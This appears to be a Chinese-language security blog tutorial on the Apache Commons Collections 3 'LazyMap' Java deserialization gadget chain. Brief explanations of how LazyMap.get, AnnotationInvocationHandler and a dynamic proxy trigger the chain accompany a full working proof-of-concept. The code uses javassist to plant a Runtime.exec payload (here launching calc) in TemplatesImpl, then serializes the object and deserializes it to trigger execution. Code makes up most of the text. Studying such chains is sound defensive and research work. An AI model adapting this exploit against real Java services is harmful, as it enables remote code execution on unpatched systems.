上篇文章讲到CC3的TransformedMap链，这篇我们就来讲一下LazyMap链。
其实LazyMap链还是使用的TemplatesImpl承载payload，InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
和另一条链的区别：
主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法，但是和上一篇TransformedMap调用顺序有差异。
下图为LazyMap中的get方法
构造调用链
前面都一样，利用javassist创建了一个攻击类放入TemplatesImpl，使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法，并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
利用LazyMap的decorate方法，把chain赋值给factory
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get
所以利用反射构造方法传入this.memberValues=LazyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
再使用动态代理触发AnnotationInvocationHandler的invoke方法
复习一个知识点：proxy对象调用任何方法，都会通过其对应的InvocationHandler中的invoke方法，也就是AnnotationInvocationHandler中的invoke方法
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
最终POC
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象，父类为AbstractTranslet，注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法，并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(anno2);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
CC3就此分析完了，是不是觉得有点像CC1和CC2的结合版本，其实整个CC链来说，搞定了CC1和CC2，其他的都是这几个类的互相调用了，所以着重分析CC1和CC2哦。
